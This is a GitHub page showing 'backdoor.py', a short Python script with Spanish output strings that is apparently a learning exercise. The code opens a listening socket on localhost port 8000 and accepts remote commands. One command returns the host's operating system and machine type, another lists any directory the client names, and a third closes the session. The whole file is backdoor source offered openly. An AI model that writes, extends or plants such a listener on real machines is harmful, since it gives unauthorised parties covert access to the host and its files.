-
Notifications
You must be signed in to change notification settings - Fork 0
/
backdoor.py
34 lines (32 loc) · 1.01 KB
/
backdoor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#YEHO 24Jul22
import socket, platform, os
SRV_ADDR = "127.0.0.1"
SRV_PORT = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
print("Se conecto un cliente...", address)
while 1:
try:
data = connection.recv(1024)
except:continue
print(data.decode('utf-8'))
if(data.decode('utf-8') == '1'):
tosend = platform.platform() + " " +platform.machine()
connection.sendall(tosend.encode())
elif(data.decode('utf-8') == '2'):
data = connection.recv(1024)
try:
filelist = os.listdir(data.decode('utf-8'))
tosend = ""
for x in filelist:
tosend += "," + x
except:
tosend = "ruta incorrecta"
print(tosend.encode())
connection.sendall(tosend.encode())
elif(data.decode('utf-8') == '0'):
connection.close()
connection, address = s.accept()